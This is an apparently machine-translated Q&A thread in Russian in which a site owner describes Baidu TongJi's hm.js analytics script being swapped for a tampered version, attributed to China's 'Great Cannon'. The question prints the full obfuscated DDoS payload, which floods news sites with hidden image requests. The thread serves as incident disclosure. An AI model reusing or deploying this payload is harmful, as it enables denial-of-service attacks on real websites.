Что случайно заменяет Javascript-код Baidu TongJi (Analytics) для DDOS-атаки на веб-сайты в браузере?
обновление:
Кажется, что разные hm.JS (библиотека Baidu TongJi JS) загружены. Когда DDOS-атаки не наблюдается, стандартный hm.JS загружен; когда есть DDOS, совершенно другой hm.js загружен. Я подозреваю, что Великий Брандмауэр Китая изменяет код.
Это hm.js, который был изменен для запуска DDOS:
// the following code launches DDOS against sites like mingjingnews.com
eval(function(p, a, c, k, e, d) {
e = function(c) {
return (c < a ? "" : e(parseInt(c / a))) + ((c = c % a) > 35 ? String.fromCharCode(c + 29) : c.toString(36))
}
;
if (!''.replace(/^/, String)) {
while (c--)
d[e(c)] = k[c] || e(c);
k = [function(e) {
return d[e]
}
];
e = function() {
return 'w+'
}
;
c = 1;
}
;while (c--)
if (k[c])
p = p.replace(new RegExp('b' + e(c) + 'b','g'), k[c]);
return p;
}('c((/15/([d]+)/16.17(l.A.D.E())[1]>=12)&&(l.A.D.E().14("18")<0)){3 G=1c;3 p=['i://1d.o.j/','i://1e.o.j/','i://19.o.j/','i://1a.1b.j/','i://S.o.j/U/Y/Z.11'];3 J=V;3 n=W;3 N=10;3 v=1;g u(){3 a=e 7();H 7.X(a.T(),a.1w(),a.1x(),a.1v(),a.P(),a.L())/R}h.C("F")[0].I="<1t 1u="B" 1y="1C-B">"+h.C("F")[0].I;3 6=[];3 f=[];3 x=5;3 b=[];3 9=[];3 w='';3 m=0;g q(2){3 8=6[2];c(8!=5){h.z.1B(8)}6[2]=5;c(m<J&&9[2]-x<G){O('s('+2+')',(9[2]-b[2])>n?n:(9[2]-b[2]))}}g Q(2){c(6[2]==5){H}c(6[2].1j){l.y(f[2]);9[2]=e 7().k();q(2)}1k{c(e 7().k()-b[2]>n){l.y(f[2]);q(2)}}}g s(2){8=h.z.1q(h.1r('1m'));w=p[u()%p.1o];8.1n=w+'?t='+u()+M.1p(M.1l()*1h);8.1g.1f='1i';6[2]=8;b[2]=9[2]=e 7().k();f[2]=1s("Q("+2+")",1A);m=m+1}g K(){x=e 7().k();1z(3 4=0;4<N;4+=1){6[4]=5;f[4]=5;b[4]=5;9[4]=5;s(4)}}3 r=e 7();O('K()',((v-r.P()%v)*13-r.L())*R)}', 62, 101, '||index|var|ti|null|p_img_list|Date|p_img_tmp|responsetime_list|dt|requesttime_list|if||new|timer_list|function|document|http|com|getTime|window|count|TIMEGAP|mingjingnews|url_list|imgdel|now|imgadd||unixtime|START_CLOCK|url|starttime|clearInterval|body|navigator|referrer|getElementsByTagName|userAgent|toLowerCase|head|MAX_TIME|return|innerHTML|MAX_COUNT|start|getSeconds|Math|THREAD|setTimeout|getMinutes|isImgComplete|1000|bravo1|getFullYear|2017|100000000|500|UTC|01|bravo||html|34|60|indexOf|chrome|gi|exec|edge|tv2|www|mingjingtimes|300000|news2|s3|display|style|100|none|complete|else|random|img|src|length|ceil|appendChild|createElement|setInterval|meta|name|getHours|getMonth|getDate|content|for|50|removeChild|no'.split('|'), 0, {}))
сравните это с оригинальный hm.код js, где нет DDOS подарок.
оба эти 2 hm.библиотеки js поступают с одного и того же адреса.
у меня есть сайт, который использует Baidu TongJi (аналитика). Как и большинство других библиотек javascript, это делается путем инъекции строки Javascript в HTML.
module.exports = function(id) {
if (!id) {
throw new Error('请填写百度统计id');
}
var elm = document.createElement('script');
elm.src = '//hm.baidu.com/hm.js?' + id;
var body = document.getElementsByTagName('body')[0];
body.appendChild(elm);
}
к моему ужасу, как только он инициализирован, консоль и сетевой экран моего браузера наводнены примерно 3000 + сетевых запросов к новостям Ming Jing (поддельные новости по данным коммунистического правительства Китая) всего за 100 секунд... и так продолжалось пока я не остановил его.
Я начинаю думать, что это похоже на последний раз, когда Великая Китайская стена использовалась для запуска атак на GitHub с использованием Baidu В CDN.
в настоящее время я звоню Baidu из-за пределов Китая, и мне интересно, нормально ли это... Будут ли люди внутри Китая избавлены от этого?
1 ответов
Как предложено теперь удаленным ответом kos, это (относительно) новая форма атаки, используемая Китаем. Он был знаменит нападением на GitHub еще в 2015 году. Эта форма атаки теперь известна как"большая пушка".
подробности доступны на блог безопасности Брайана Кребса.